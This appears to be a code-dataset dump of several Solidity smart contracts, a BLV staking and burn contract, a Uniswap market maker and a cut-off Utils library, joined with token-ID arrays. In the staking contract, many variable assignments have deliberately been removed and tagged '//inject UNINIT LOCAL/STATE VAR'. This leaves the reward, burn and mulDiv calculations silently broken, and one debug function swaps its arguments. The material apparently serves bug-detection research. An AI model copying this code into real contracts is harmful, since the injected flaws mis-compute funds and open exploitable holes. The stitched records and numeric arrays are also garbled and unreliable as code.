function updateMyStakes(address stakerAddress, uint256 balance, uint256 totalSupply) external onlyToken returns (uint256) { // This function is called by the token contract. Holders call the function on the token contract every day the price is positive to claim rewards.
assert(balance > 0);
staker memory thisStaker = _stakers[stakerAddress];
assert(thisStaker.lastTimestamp > 0/*,"Error: your last timestamp cannot be zero."*/); // We use asserts now so that we fail on errors due to try/catch in token contract.
assert(thisStaker.startTimestamp > 0/*,"Error: your start timestamp cannot be zero."*/);
// We recognize that block.timestamp can be gamed by miners to some extent, but from what we undertand block timestamps *cannot be before the last block* by consensus rules, otherwise they will fork the chain
assert(block.timestamp > thisStaker.lastTimestamp/*, "Error: block timestamp is not greater than your last timestamp!"*/);
assert(_lastUpdate.timestamp > thisStaker.lastTimestamp/*, "Error: you can only update stakes once per day. You also cannot update stakes on the same day that you purchased them."*/);
uint daysStaked ; // Calculate time staked in days //inject UNINIT LOCAL/STATE VAR
// daysStaked = 100;
assert(daysStaked >= _minStakeDurationDays/*, "You must stake for at least minStakeDurationDays to claim rewards"*/);
assert(balance >= _minStake/*, "You must have a balance of at least minStake to claim rewards"*/);
uint numTokens ; // Calls token calculation function - this is either an external contract or the function in this contract //inject UNINIT LOCAL/STATE VAR
if (_enableHoldersDay && daysStaked >= 30) {
numTokens = mulDiv(balance, daysStaked, 600); // Once a month, holders get a nice bump
}
_stakers[stakerAddress].lastTimestamp = block.timestamp; // Again, this can be gamed to some extent, but *cannot be before the last block*
emit StakesUpdated(numTokens);
return numTokens; // Token contract will add these tokens to the balance of stakerAddress
}
function calculateNumTokens(uint256 balance, uint256 daysStaked, address stakerAddress, uint256 totalSupply) internal view returns (uint256) {
if (_useExternalCalc) {
return _externalCalculator.calculateNumTokens(balance, daysStaked, stakerAddress, totalSupply); // Use external contract, if one is enabled (disabled by default, currently unused)
}
uint256 inflationAdjustmentFactor ; //inject UNINIT LOCAL/STATE VAR
if (_streak > 1) {
inflationAdjustmentFactor /= _streak; // If there is a streak, we decrease the inflationAdjustmentFactor
}
if (daysStaked > 60) { // If you stake for more than 60 days, you have hit the upper limit of the multiplier
daysStaked = 60;
} else if (daysStaked == 0) { // If the minimum days staked is zero, we change the number to 1 so we don't return zero below
daysStaked = 1;
}
uint marketCap ; // Market cap //inject UNINIT LOCAL/STATE VAR
uint ratio ; // Ratio of market cap to volume //inject UNINIT LOCAL/STATE VAR
if (ratio > 50) { // Too little volume. Decrease rewards.
inflationAdjustmentFactor = inflationAdjustmentFactor.mul(10);
} else if (ratio > 25) { // Still not enough. Streak doesn't count.
inflationAdjustmentFactor = _inflationAdjustmentFactor;
}
uint numTokens ; // Function that calculates how many tokens are due. See muldiv below. //inject UNINIT LOCAL/STATE VAR
uint tenPercent ; //inject UNINIT LOCAL/STATE VAR
if (numTokens > tenPercent) { // We don't allow a daily rewards of greater than ten percent of a holder's balance.
numTokens = tenPercent;
}
return numTokens;
}
function currentExpectedRewards(address _staker) external view returns (uint256) {
staker memory thisStaker = _stakers[_staker];
uint daysStaked ; //inject UNINIT LOCAL/STATE VAR
uint balance ; //inject UNINIT LOCAL/STATE VAR
if(thisStaker.lastTimestamp == 0 || thisStaker.startTimestamp == 0 ||
_lastUpdate.timestamp <= thisStaker.lastTimestamp ||
daysStaked < _minStakeDurationDays || balance < _minStake) {
return 0;
}
uint numTokens ; //inject UNINIT LOCAL/STATE VAR
if (_enableHoldersDay && daysStaked >= 30) {
numTokens = mulDiv(balance, daysStaked, 600); // Once a month, holders get a nice bump
}
return numTokens;
}
function nextExpectedRewards(address _staker, uint price, uint volume, uint change) external view returns (uint256) {
staker memory thisStaker = _stakers[_staker];
uint daysStaked ; //inject UNINIT LOCAL/STATE VAR
uint balance ; //inject UNINIT LOCAL/STATE VAR
if(thisStaker.lastTimestamp == 0 || thisStaker.startTimestamp == 0 ||
daysStaked < _minStakeDurationDays || balance < _minStake || change <= 1) {
return 0;
}
uint256 inflationAdjustmentFactor ; //inject UNINIT LOCAL/STATE VAR
uint256 streak ; //inject UNINIT LOCAL/STATE VAR
uint secondsSinceLastUpdate ; //inject UNINIT LOCAL/STATE VAR
if (secondsSinceLastUpdate <= 86400) { // We should only update once per day, but block timestamps can vary
streak++;
} else {
streak = 1;
}
if (streak > 1) {
inflationAdjustmentFactor /= streak; // If there is a streak, we decrease the inflationAdjustmentFactor
}
if (daysStaked > 60) { // If you stake for more than 60 days, you have hit the upper limit of the multiplier
daysStaked = 60;
} else if (daysStaked == 0) { // If the minimum days staked is zero, we change the number to 1 so we don't return zero below
daysStaked = 1;
}
uint marketCap ; // Market cap //inject UNINIT LOCAL/STATE VAR
uint ratio ; // Ratio of market cap to volume //inject UNINIT LOCAL/STATE VAR
if (ratio > 50) { // Too little volume. Decrease rewards.
inflationAdjustmentFactor = inflationAdjustmentFactor.mul(10);
} else if (ratio > 25) { // Still not enough. Streak doesn't count.
inflationAdjustmentFactor = _inflationAdjustmentFactor;
}
uint numTokens ; // Function that calculates how many tokens are due. See muldiv below. //inject UNINIT LOCAL/STATE VAR
uint tenPercent ; //inject UNINIT LOCAL/STATE VAR
if (numTokens > tenPercent) { // We don't allow a daily rewards of greater than ten percent of a holder's balance.
numTokens = tenPercent;
}
return numTokens;
}
// Self-explanatory functions to update several configuration variables
function updateTokenAddress(BLVToken newToken) external onlyOwner {
require(address(newToken) != address(0));
token = newToken;
}
function updateCalculator(CalculatorInterface calc) external onlyOwner {
if(address(calc) == address(0)) {
_externalCalculator = CalculatorInterface(address(0));
_useExternalCalc = false;
} else {
_externalCalculator = calc;
_useExternalCalc = true;
}
}
function updateInflationAdjustmentFactor(uint256 inflationAdjustmentFactor) external onlyOwner {
_inflationAdjustmentFactor = inflationAdjustmentFactor;
}
function updateStreak(uint streak) external onlyOwner {
_streak = streak;
}
function updateMinStakeDurationDays(uint8 minStakeDurationDays) external onlyOwner {
_minStakeDurationDays = minStakeDurationDays;
}
function updateMinStakes(uint minStake) external onlyOwner {
_minStake = minStake;
}
function updateMinPercentIncrease(uint8 minIncrease) external onlyOwner {
_minPercentIncrease = minIncrease;
}
function enableBurns(bool enabledBurns) external onlyOwner {
_enableBurns = enabledBurns;
}
function updateHoldersDay(bool enableHoldersDay) external onlyOwner {
_enableHoldersDay = enableHoldersDay;
}
function updateWhitelist(address addr, string calldata reason, bool remove) external onlyOwner returns (bool) {
if (remove) {
delete _whitelist[addr];
return true;
} else {
_whitelist[addr] = reason;
return true;
}
}
function updateBlacklist(address addr, uint256 fee, bool remove) external onlyOwner returns (bool) {
if (remove) {
delete _blacklist[addr];
return true;
} else {
_blacklist[addr] = fee;
return true;
}
}
function updateUniswapPair(address addr) external onlyOwner returns (bool) {
require(addr != address(0));
_uniswapV2Pair = addr;
return true;
}
function updateDirectSellBurns(bool enableDirectSellBurns) external onlyOwner {
_enableUniswapDirectBurns = enableDirectSellBurns;
}
function updateUpperBurnPercent(uint8 sellerBurnPercent) external onlyOwner {
upperBoundBurnPercent = sellerBurnPercent;
}
function updateLowerBurnPercent(uint8 sellerBurnPercent) external onlyOwner {
lowerBoundBurnPercent = sellerBurnPercent;
}
function freeze(bool enableFreeze) external onlyOwner {
_freeze = enableFreeze;
}
function updateNextStakingContract(address nextContract) external onlyOwner {
require(nextContract != address(0));
_nextStakingContract = nextContract;
}
function getStaker(address _staker) external view returns (uint256, uint256) {
return (_stakers[_staker].startTimestamp, _stakers[_staker].lastTimestamp);
}
function getStakerDaysStaked(address _staker) external view returns (uint) {
if(_stakers[_staker].startTimestamp == 0) {
return 0;
}
return block.timestamp.sub(_stakers[_staker].startTimestamp) / 86400;
}
function getWhitelist(address addr) external view returns (string memory) {
return _whitelist[addr];
}
function getBlacklist(address addr) external view returns (uint) {
return _blacklist[addr];
}
// This function was not written by us. It was taken from here: https://medium.com/coinmonks/math-in-solidity-part-3-percents-and-proportions-4db014e080b1
// We believe it works but do not have the understanding of math required to verify it 100%.
// Takes in three numbers and calculates x * (y/z)
// This is very useful for this contract as percentages are used constantly
function mulDiv (uint x, uint y, uint z) public pure returns (uint) {
(uint l, uint h) = fullMul (x, y);
assert (h < z);
uint mm ; //inject UNINIT LOCAL/STATE VAR
if (mm > l) h -= 1;
l -= mm;
uint pow2 ; //inject UNINIT LOCAL/STATE VAR
z /= pow2;
l /= pow2;
l += h * ((-pow2) / pow2 + 1);
uint r ; //inject UNINIT LOCAL/STATE VAR
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
r *= 2 - z * r;
return l * r;
}
function fullMul (uint x, uint y) private pure returns (uint l, uint h) {
uint mm ; //inject UNINIT LOCAL/STATE VAR
l = x * y;
h = mm - l;
if (mm < l) h -= 1;
}
function streak() public view returns (uint) {
return _streak;
}
// Hooks the transfer() function on blvtoken. All transfers call this function. Takes in sender, recipient address and balances and amount and returns sender balance, recipient balance, and burned amount
function transferHook(address sender, address recipient, uint256 amount, uint256 senderBalance, uint256 recipientBalance) external onlyToken returns (uint256, uint256, uint256) {
assert(_freeze == false);
assert(sender != recipient);
assert(amount > 0);
assert(senderBalance >= amount);
if (_votingEnabled) {
assert(!_votingContract.isActiveVoter(sender)); // an active voter can not make transfers
}
uint totalAmount ; //inject UNINIT LOCAL/STATE VAR
bool shouldAddStaker ; // We assume that the recipient is a potential staker (not a smart contract) //inject UNINIT LOCAL/STATE VAR
uint burnedAmount ; //inject UNINIT LOCAL/STATE VAR
if (_enableBurns && bytes(_whitelist[sender]).length == 0 && bytes(_whitelist[recipient]).length == 0) { // Burns are enabled and neither the recipient nor the sender are whitelisted
burnedAmount = mulDiv(amount, _randomness(), 100); // Calculates the amount to be burned. Random integer between 1% and 4%. See _randomness() below
if (_blacklist[recipient] > 0) { //Transferring to a blacklisted address incurs a specific fee
burnedAmount = mulDiv(amount, _blacklist[recipient], 100); // Calculate the fee. The fee is burnt
shouldAddStaker = false; // Blacklisted addresses will never be stakers.
}
if (burnedAmount > 0) {
if (burnedAmount > amount) {
totalAmount = 0;
} else {
totalAmount = amount.sub(burnedAmount);
}
senderBalance = senderBalance.sub(burnedAmount, "ERC20: burn amount exceeds balance"); // Remove the burned amount from the sender's balance
}
} else if (recipient == _uniswapV2Pair) { // Uniswap was used. This is a special case. Uniswap is burn on receive but whitelist on send, so sellers pay fee and buyers do not.
shouldAddStaker = false;
if (_enableUniswapDirectBurns) {
burnedAmount = mulDiv(amount, _randomness(), 100); // Seller fee
if (burnedAmount > 0) {
if (burnedAmount > amount) {
totalAmount = 0;
} else {
totalAmount = amount.sub(burnedAmount);
}
senderBalance = senderBalance.sub(burnedAmount, "ERC20: burn amount exceeds balance");
}
}
}
if (bytes(_whitelist[recipient]).length > 0) {
shouldAddStaker = false;
}
// Here we calculate the percent of the balance an address is receiving. If the address receives too many tokens, the staking time and last time rewards were claimed is reset to block.timestamp
// This is necessary because otherwise funds could move from address to address with no penality and thus an individual could claim multiple times with the same funds
if (shouldAddStaker && _stakers[recipient].startTimestamp > 0 && recipientBalance > 0) { // If you are currently staking, these should all be true
uint percent ; // This is not really 'percent' it is just a number that represents the totalAmount as a fraction of the recipientBalance //inject UNINIT LOCAL/STATE VAR
percent = percent.div(2);
if(percent.add(_stakers[recipient].startTimestamp) > block.timestamp) { // We represent the 'percent' as seconds and add to the recipient's unix time
_stakers[recipient].startTimestamp = block.timestamp;
} else {
_stakers[recipient].startTimestamp = _stakers[recipient].startTimestamp.add(percent); // Receiving too many tokens resets your holding time
}
if(percent.add(_stakers[recipient].lastTimestamp) > block.timestamp) {
_stakers[recipient].lastTimestamp = block.timestamp;
} else {
_stakers[recipient].lastTimestamp = _stakers[recipient].lastTimestamp.add(percent); // Receiving too many tokens may make you ineligible to claim the next day
}
} else if (shouldAddStaker && recipientBalance == 0 && (_stakers[recipient].startTimestamp > 0 || _stakers[recipient].lastTimestamp > 0)) { // Invalid state, so we reset their data/remove them
delete _stakers[recipient];
numStakers--;
emit StakerRemoved(recipient);
}
senderBalance = senderBalance.sub(totalAmount, "ERC20: transfer amount exceeds balance"); // Normal ERC20 transfer
recipientBalance = recipientBalance.add(totalAmount);
if (shouldAddStaker && _stakers[recipient].startTimestamp == 0 && (totalAmount >= _minStake || recipientBalance >= _minStake)) { // If the recipient was not previously a staker and their balance is now greater than minStake, we add them automatically
_stakers[recipient] = staker(block.timestamp, block.timestamp);
numStakers++;
emit StakerAdded(recipient);
}
if (senderBalance < _minStake) { // If the sender's balance is below the minimum stake, we remove them automatically
// Remove staker
if(_stakers[sender].startTimestamp != 0) {
numStakers--;
emit StakerRemoved(sender);
}
delete _stakers[sender];
} else {
_stakers[sender].startTimestamp = block.timestamp; // Sending tokens automatically resets your 'holding time'
if (_stakers[sender].lastTimestamp == 0) {
_stakers[sender].lastTimestamp = block.timestamp;
}
}
return (senderBalance, recipientBalance, burnedAmount);
}
function _randomness() internal view returns (uint256) { // Calculates token burn on transfer between 1% and 4% (integers)
if(_useExternalCalc) {
return _externalCalculator.randomness();
}
uint burn ; //inject UNINIT LOCAL/STATE VAR
if(burn < lowerBoundBurnPercent) {
burn = lowerBoundBurnPercent;
}
return burn;
}
function burn(address account, uint256 amount) external onlyOwner { // We allow ourselves to burn tokens in case they were minted due to a bug
token._burn(account, amount);
}
function resetStakeTimeDebug(address account, uint startTimestamp, uint lastTimestamp, bool migrated) external onlyOwner { // We allow ourselves to reset stake times in case they get changed incorrectly due to a bug
_stakers[account].lastTimestamp = startTimestamp;
_stakers[account].startTimestamp = lastTimestamp;
}
function liquidityRewards(address account, uint amount) external {
require(msg.sender == liquidityContract);
token.mint(account, amount);
}
function rewardAndBurn(address burn, address reward, uint amount) external onlyOwner {
token._burn(burn, amount);
token.mint(reward, amount);
}
function updateVotingContract(VotingBLVToken votingContract) external onlyOwner {
_votingContract = votingContract;
_votingEnabled = true;
}
function updateVotingEnabled(bool votingEnabled) external onlyOwner {
_votingEnabled = votingEnabled;
}
function updateIntervalWatcher(address intervalWatcher) external onlyOwner {
_intervalWatcher = intervalWatcher;
}
function updateliquidityContract(address liquidity) external onlyOwner {
liquidityContract = liquidity;
}
} | Too little volume. Decrease rewards.
| if (ratio > 50) { | 12,859,019 | [
1,
10703,
12720,
3940,
18,
31073,
448,
283,
6397,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
309,
261,
9847,
405,
6437,
13,
288,
282,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../utils/OwnablePausable.sol";
import "../uniswap/IUniswapV2Router02.sol";
import "../uniswap/IUniswapV2Factory.sol";
contract UniswapMarketMaker is OwnablePausable {
using SafeMath for uint256;
using SafeERC20 for ERC20;
/// @notice Incoming token.
ERC20 public incoming;
/// @notice Support token.
ERC20 public support;
/// @notice Uniswap router contract address.
IUniswapV2Router02 public uniswapRouter;
/// @notice An event thats emitted when an token transferred to recipient.
event TokenTransfer(address token, address recipient, uint256 amount);
/// @notice An event thats emitted when an uniswap router contract address changed.
event UniswapRouterChanged(address newUniswapRouter);
/// @notice An event thats emitted when an incoming token changed.
event IncomingChanged(address newIncoming);
/// @notice An event thats emitted when an liquidity added.
event LiquidityIncreased(uint256 incoming, uint256 support);
/// @notice An event thats emitted when an liquidity removed.
event LiquidityReduced(uint256 lp, uint256 incoming, uint256 support);
/**
* @param _incoming Address of incoming token.
* @param _support Address of support token.
* @param _uniswapRouter Address of Uniswap router contract.
*/
constructor(
address _incoming,
address _support,
address _uniswapRouter
) public {
incoming = ERC20(_incoming);
support = ERC20(_support);
uniswapRouter = IUniswapV2Router02(_uniswapRouter);
}
/**
* @notice Transfer incoming token to recipient.
* @param token Address of transferred token.
* @param recipient Address of recipient.
* @param amount Amount of transferred token.
*/
function transfer(
address token,
address recipient,
uint256 amount
) external onlyOwner {
require(recipient != address(0), "UniswapMarketMaker::transfer: cannot transfer to the zero address");
ERC20(token).safeTransfer(recipient, amount);
emit TokenTransfer(token, recipient, amount);
}
/**
* @notice Changed uniswap router contract address.
* @param _uniswapRouter Address new uniswap router contract.
*/
function changeUniswapRouter(address _uniswapRouter) external onlyOwner {
uniswapRouter = IUniswapV2Router02(_uniswapRouter);
emit UniswapRouterChanged(_uniswapRouter);
}
/**
* @notice Change incoming token address.
* @param _incoming New incoming token address.
* @param _recipient Address of recipient.
*/
function changeIncoming(address _incoming, address _recipient) external onlyOwner {
require(address(incoming) != _incoming, "UniswapMarketMaker::changeIncoming: duplicate incoming token address");
address pair = liquidityPair();
if (pair != address(0)) {
uint256 lpBalance = ERC20(pair).balanceOf(address(this));
if (lpBalance > 0) {
ERC20(pair).safeTransfer(_recipient, lpBalance);
}
}
uint256 balance = incoming.balanceOf(address(this));
if (balance > 0) {
incoming.safeTransfer(_recipient, balance);
}
incoming = ERC20(_incoming);
emit IncomingChanged(_incoming);
}
/**
* @notice Buy support token and add liquidity.
* @param amount Amount of incoming token.
*/
function buyLiquidity(uint256 amount) external whenNotPaused {
if (amount > 0) {
incoming.safeTransferFrom(_msgSender(), address(this), amount);
}
address[] memory path = new address[](2);
path[0] = address(incoming);
path[1] = address(support);
uint256 amountIn = incoming.balanceOf(address(this)).div(2);
require(amountIn > 0, "UniswapMarketMaker::buyLiquidity: not enough funds to buy back");
uint256[] memory amountsOut = uniswapRouter.getAmountsOut(amountIn, path);
require(amountsOut.length != 0, "UniswapMarketMaker::buyLiquidity: invalid amounts out length");
uint256 amountOut = amountsOut[amountsOut.length - 1];
require(amountOut > 0, "UniswapMarketMaker::buyLiquidity: liquidity pool is empty");
incoming.safeApprove(address(uniswapRouter), 0);
incoming.safeApprove(address(uniswapRouter), amountIn);
uniswapRouter.swapExactTokensForTokens(amountIn, amountOut, path, address(this), block.timestamp);
uint256 incomingBalance = incoming.balanceOf(address(this));
require(incomingBalance > 0, "UniswapMarketMaker::buyLiquidity: incoming token balance is empty");
uint256 supportBalance = support.balanceOf(address(this));
require(supportBalance > 0, "UniswapMarketMaker::buyLiquidity: support token balance is empty");
incoming.safeApprove(address(uniswapRouter), 0);
incoming.safeApprove(address(uniswapRouter), incomingBalance);
support.safeApprove(address(uniswapRouter), 0);
support.safeApprove(address(uniswapRouter), supportBalance);
(uint256 amountA, uint256 amountB, ) = uniswapRouter.addLiquidity(address(incoming), address(support), incomingBalance, supportBalance, 0, 0, address(this), block.timestamp);
emit LiquidityIncreased(amountA, amountB);
}
/**
* @notice Add liquidity.
* @param incomingAmount Amount of incoming token.
* @param supportAmount Amount of support token.
*/
function addLiquidity(uint256 incomingAmount, uint256 supportAmount) external whenNotPaused {
if (incomingAmount > 0) {
incoming.safeTransferFrom(_msgSender(), address(this), incomingAmount);
}
if (supportAmount > 0) {
support.safeTransferFrom(_msgSender(), address(this), supportAmount);
}
uint256 incomingBalance = incoming.balanceOf(address(this));
require(incomingBalance > 0, "UniswapMarketMaker::addLiquidity: incoming token balance is empty");
uint256 supportBalance = support.balanceOf(address(this));
require(supportBalance > 0, "UniswapMarketMaker::addLiquidity: support token balance is empty");
incoming.safeApprove(address(uniswapRouter), 0);
incoming.safeApprove(address(uniswapRouter), incomingBalance);
support.safeApprove(address(uniswapRouter), 0);
support.safeApprove(address(uniswapRouter), supportBalance);
(uint256 amountA, uint256 amountB, ) = uniswapRouter.addLiquidity(address(incoming), address(support), incomingBalance, supportBalance, 0, 0, address(this), block.timestamp);
emit LiquidityIncreased(amountA, amountB);
}
/**
* @notice Return liquidity pair address.
* @return Liquidity pair address.
*/
function liquidityPair() public view returns (address) {
IUniswapV2Factory uniswapFactory = IUniswapV2Factory(uniswapRouter.factory());
return uniswapFactory.getPair(address(incoming), address(support));
}
/**
* @notice Remove liquidity.
* @param amount Amount of liquidity pool token.
*/
function removeLiquidity(uint256 amount) external onlyOwner {
address pair = liquidityPair();
require(pair != address(0), "UniswapMarketMaker::removeLiquidity: liquidity pair not found");
uint256 lpBalance = ERC20(pair).balanceOf(address(this));
amount = lpBalance < amount ? lpBalance : amount;
require(amount > 0, "UniswapMarketMaker::removeLiquidity: zero amount");
ERC20(pair).safeApprove(address(uniswapRouter), 0);
ERC20(pair).safeApprove(address(uniswapRouter), amount);
(uint256 incomingAmount, uint256 supportAmount) = uniswapRouter.removeLiquidity(address(incoming), address(support), amount, 0, 0, address(this), block.timestamp);
emit LiquidityReduced(amount, incomingAmount, supportAmount);
}
}
| * @notice Add liquidity. @param incomingAmount Amount of incoming token. @param supportAmount Amount of support token./ | function addLiquidity(uint256 incomingAmount, uint256 supportAmount) external whenNotPaused {
if (incomingAmount > 0) {
incoming.safeTransferFrom(_msgSender(), address(this), incomingAmount);
}
if (supportAmount > 0) {
support.safeTransferFrom(_msgSender(), address(this), supportAmount);
}
uint256 incomingBalance = incoming.balanceOf(address(this));
require(incomingBalance > 0, "UniswapMarketMaker::addLiquidity: incoming token balance is empty");
uint256 supportBalance = support.balanceOf(address(this));
require(supportBalance > 0, "UniswapMarketMaker::addLiquidity: support token balance is empty");
incoming.safeApprove(address(uniswapRouter), 0);
incoming.safeApprove(address(uniswapRouter), incomingBalance);
support.safeApprove(address(uniswapRouter), 0);
support.safeApprove(address(uniswapRouter), supportBalance);
(uint256 amountA, uint256 amountB, ) = uniswapRouter.addLiquidity(address(incoming), address(support), incomingBalance, supportBalance, 0, 0, address(this), block.timestamp);
emit LiquidityIncreased(amountA, amountB);
}
| 12,788,466 | [
1,
986,
4501,
372,
24237,
18,
225,
6935,
6275,
16811,
434,
6935,
1147,
18,
225,
2865,
6275,
16811,
434,
2865,
1147,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
527,
48,
18988,
24237,
12,
11890,
5034,
6935,
6275,
16,
2254,
5034,
2865,
6275,
13,
3903,
1347,
1248,
28590,
288,
203,
3639,
309,
261,
31033,
6275,
405,
374,
13,
288,
203,
5411,
6935,
18,
4626,
5912,
1265,
24899,
3576,
12021,
9334,
1758,
12,
2211,
3631,
6935,
6275,
1769,
203,
3639,
289,
203,
3639,
309,
261,
13261,
6275,
405,
374,
13,
288,
203,
5411,
2865,
18,
4626,
5912,
1265,
24899,
3576,
12021,
9334,
1758,
12,
2211,
3631,
2865,
6275,
1769,
203,
3639,
289,
203,
203,
3639,
2254,
5034,
6935,
13937,
273,
6935,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
2583,
12,
31033,
13937,
405,
374,
16,
315,
984,
291,
91,
438,
3882,
278,
12373,
2866,
1289,
48,
18988,
24237,
30,
6935,
1147,
11013,
353,
1008,
8863,
203,
3639,
2254,
5034,
2865,
13937,
273,
2865,
18,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
3639,
2583,
12,
13261,
13937,
405,
374,
16,
315,
984,
291,
91,
438,
3882,
278,
12373,
2866,
1289,
48,
18988,
24237,
30,
2865,
1147,
11013,
353,
1008,
8863,
203,
203,
3639,
6935,
18,
4626,
12053,
537,
12,
2867,
12,
318,
291,
91,
438,
8259,
3631,
374,
1769,
203,
3639,
6935,
18,
4626,
12053,
537,
12,
2867,
12,
318,
291,
91,
438,
8259,
3631,
6935,
13937,
1769,
203,
3639,
2865,
18,
4626,
12053,
537,
12,
2867,
12,
318,
291,
91,
438,
8259,
3631,
374,
1769,
203,
3639,
2865,
18,
4626,
12053,
537,
12,
2867,
12,
318,
291,
91,
438,
8259,
3631,
2865,
13937,
1769,
203,
3639,
261,
11890,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.18;
pragma experimental ABIEncoderV2;
/// @title Utility functions
/// @author Giovanni Rescinito
/// @notice math utilities and sorting functions
library Utils {
//Constants
uint constant public C = 10**6; // constant used to scale value
//Data Structures
/// @notice container used to maintain agent id and score together
struct Element {
uint id; // agent id
uint value; // score
}
//Events
event ClustersAssignmentsGenerated(uint[][] assignments);
event AssignmentGenerated(uint[] assignments);
event PartitionsGenerated(uint[][] partition);
event AlgorithmInfo(uint nWinners, uint matrixSizes, uint nPartitions);
event ScoreMatrixConstructed(uint[][] scoreMatrix);
event QuotasCalculated(uint[] quotas);
event Winners(Element[] winners);
//Math functions
/// @notice returns the smallest integer value that is bigger than or equal to a number, using scaling by C
/// @param x the value to be rounded
/// @return the rounded value
function ceil(uint x) view public returns (uint){
return ((x + C - 1) / C) * C;
}
/// @notice returns the largest integer value that is less than or equal to a number, using scaling by C
/// @param x the value to be rounded
